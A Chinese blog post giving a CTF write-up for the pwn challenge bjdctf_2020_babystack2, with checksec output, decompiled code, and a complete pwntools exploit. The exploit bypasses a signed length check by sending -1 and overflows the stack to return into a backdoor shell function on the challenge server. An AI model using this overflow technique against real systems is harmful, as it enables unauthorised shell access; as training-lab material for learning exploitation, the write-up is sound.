

bjdctf_2020_babystack2

原创

m0sway 于 2022-04-04 22:07:51 发布 178 收藏

分类专栏: [BUU-WP](#) 文章标签: [CTF pwn WriteUp python](#) [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/m0sway/article/details/123961629>

版权



[BUU-WP](#) 专栏收录该内容

57 篇文章 0 订阅

订阅专栏

bjdctf_2020_babystack2

使用 `checksec` 查看:

```
# m0sway @ pro in ~/PWN/buu [22:05:43]
$ checksec bjdctf_2020_babystack2
[*] '/home/m0sway/PWN/buu/bjdctf_2020_babystack2'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
CSDN @m0sway
```

只开启了栈不可执行。

先放进IDA中分析:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf; // [rsp+0h] [rbp-10h]
    size_t nbytes; // [rsp+Ch] [rbp-4h]

    setvbuf(_bss_start, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    LODWORD(nbytes) = 0;
    puts("*****");
    puts("* Welcome to the BJDCTF! *");
    puts("* And Welcome to the bin world! *");
    puts("* Let's try to pwn the world! *");
    puts("* Please told me u answer loudly!*");
    puts("[+]Are u ready?");
    puts("[+]Please input the length of your name:");
    __isoc99_scanf("%d", &nbytes);
    if ( (signed int)nbytes > 10 )
    {
        puts("Oops,u name is too long!");
        exit(-1);
    }
    puts("[+]What's u name?");
    read(0, &buf, (unsigned int)nbytes);
    return 0;
}
```

CSDN @m0sway

- `__isoc99_scanf("%d", &nbytes);`: 用户输入第二次输入的长度。
- `read(0, &buf, (unsigned int)nbytes);`: 向变量 `buf` 内读取用户第一次输入长度大小的数据。

存在 `backdoor()`:

```
signed __int64 backdoor()
{
    system("/bin/sh");
    return 1LL;
}
```

- 直接`getshell`, 调用即可。

题目思路

- 用 `-1` 绕过长度限制。
- 覆盖返回地址为 `backdoor()` 的地址。

步骤解析

无需

完整exp

```
from pwn import *

#start
r = remote("node4.buuoj.cn",27324)
# r = process("../buu/bjdctf_2020_babystack2")
elf = ELF("../buu/bjdctf_2020_babystack2")

#params
backdoor_addr = elf.symbols['backdoor']

#attack
r.recv()
r.sendline(b"-1")
r.recv()
payload = b'M'*(0x10+8) + p64(backdoor_addr)
r.sendline(payload)

r.interactive()
```